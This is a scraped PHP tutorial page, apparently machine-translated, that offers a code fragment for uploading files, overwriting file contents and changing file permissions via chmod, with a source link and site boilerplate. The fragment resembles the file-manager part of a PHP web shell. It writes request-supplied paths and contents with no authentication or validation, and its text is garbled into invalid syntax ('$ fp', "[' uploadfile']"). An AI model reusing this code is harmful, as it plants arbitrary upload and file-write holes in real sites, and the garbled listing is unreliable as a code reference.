Home > Backend Development > PHP Tutorial > PHP editing, uploading, modifying file attribute code_PHP tutorial

PHP editing, uploading, modifying file attribute code_PHP tutorial

WBOY
Release: 2016-07-20 11:06:33
Original
1017 people have browsed it

php edit, upload, modify file attribute code
m('File upload'.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES[' uploadfile']['name']) ? 'Success' : 'Failure'));
}

// Edit file
elseif ($editfilename && $filecontent) {
$ fp = @fopen($editfilename,'w');
m('Save file'.(@fwrite($fp,$filecontent) ? 'Success' : 'Failure'));
@fclose( $fp);
}

// Edit file attributes
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m(' The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('File editing'.(@chmod($pfile,$newperm) ? 'Success' : 'Failure'));
}
}


www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/445026.htmlTechArticlephp edit, upload, modify file attribute code m('File upload'.(@copy($_FILES[' uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'Success' : 'Failure')); } //...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template